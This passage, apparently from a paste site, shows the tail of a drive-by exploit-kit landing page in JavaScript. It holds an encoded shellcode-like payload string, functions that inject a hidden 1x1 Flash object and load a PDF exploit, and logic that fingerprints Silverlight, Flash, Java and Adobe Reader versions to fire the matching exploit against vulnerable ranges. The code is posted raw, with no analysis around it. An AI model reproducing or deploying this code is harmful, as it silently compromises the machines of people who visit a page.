value="tuti=YOsTWLl+AwAASYA0CByFyXX3/9Bhw+jo////9RcfHBxCSZX5dHNyHBx0aW5wcUh0klIS8HQL1jdy9EgeHBxFRXR581MZTPSMHhwcTHYadhx0BxrUEXT6Jmsy9C8eHBwtx6sMdlxPT3YcdEjWs410C9Y3cvQGHhwci3R9ncXTdAvWN3L0Fh4cHCAaYAxPS/ShHBwcnOA8YRh2HfcedhxKS/SZHBwcSpFoWxr0cxwcHJncaUp2F0VVaExNn2HkHWgGSvSPHRwcmdxpBi3ceJdcBJdcKCH4HhwcacdK9M4cHByZ3GjNRUIt3FokWuNp5iQaabBLW1t6JRtp5dsbJxwtHJFrGkP0CRwcHNXfdhx24nSEc1MhdO7HaLH0aB0cHC3VTU1PSktN40ng30mV+XYcdDkcTxyV/ONpEEzjaRR0Ylafy3Tux2ix9FodHBzV3hQcSZX5Skuia/cXPUxIdhR243QTuwJFSvQ7HRwcRo3/IJdhFExI42kQS3YFTnRGcsfHSvQQHRwcjUT/PeMrdNGQa+1K9OccHBwTqhRVTeMrdC5iGjxK9PUcHByXFI1DQtXeFBxKS0mV+ZdpDEpaep8iHGnlkWIf9A0cHBwzfzxvaH1uaDw+Pjw+OW8+HEv0VePj45FoWx5LSnRiVp/LdO7HaLH0gBwcHHYgRTXQkWHYTUst3O+2Q5Mbdm90chx9HHRuHGkclXsQdB3pCX50Gv6xLvRxHBwclVsU9AwcHBx/HHEceBwyHHkcZBx5HBwck1sMlWsIS3TBxDLgdOZmifj0IxwcHNVDQt4YHEmV+XZIRTXQS5FhsEst3O+2Q5FTDHZYkx1LTUxMTExMTEzjaRR0lOKvCnQL1jdy9BkcHBxD1d4YHEX0FRwcHEz0IRwcHE3j/Hwt3HiXTCyXThCXTgiXbjQt4y3csFqZ3GgRIH1gHjA83dMRHdv39ydgODiXXgyXDmnHlVg4AH3eGBx8l3A4OJdZIJdIGWQd9pdWBJdGPB33/yhVlyiXHfIt4y3c4LCY3Ggb3dMRHdv36CdgODRp/ZdGOB33epcQV5dGAB33lxiXHfSVWDgAfd4UHPTs4OPjdGhobCYzM39paHlkaHl3dTJ/czJqaTN4KnksLiUqLXR6ZGUpMy0oLS4rKSwpLiwzJBwoeSwqKSQpKCklLCQsJSwrLCkpKCktKXgpKil+LC0sfiwvKS0sLCkvKS8pfywpLCknLScqHBwcAAAA"/></object></div></form>');
  1977. }
  1978.  
  1979. function flash_run() {
  1980.     ffbgrnth5we('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="1" height="1"><param name="movie" value="/d6e02961fb45hfxy5/1412750520"/><param name="play" value="true"/><param name="FlashVars" value="exec=AhhjyHHunhpOhp0c8uo8fnHY4plwD4xA5OsrHxGxw3rlrwlH3"/></object>');
  1981. }
  1982.  
  1983. function pdf_run() {
  1984.     fg("/d6e02961f1ffhfxy5/1412750520", "77", "80");
  1985. }
  1986. if (c_a == 0) {
  1987.     if ((s_version[0] > 0 && s_version[0] < 5) || (s_version[0] == 5 && s_version[1] == 0 && s_version[1] <= 61118)) {
  1988.         silver_run();
  1989.     }
  1990.     if (CheckVersion11(f_version) || CheckVersion12(f_version) || CheckVersion13(f_version)) {
  1991.         flash_run();
  1992.     }
  1993.     if (java_run > 0) {
  1994.         asfwe(java_run);
  1995.     }
  1996.     if ((p_version[0] == 8) || (p_version[0] == 9 && p_version[1] <= 3)) {
  1997.         pdf_run();
  1998.     }
  1999.     msie_run();
  2000. }
Advertisement
Add Comment
Please, Sign In to add comment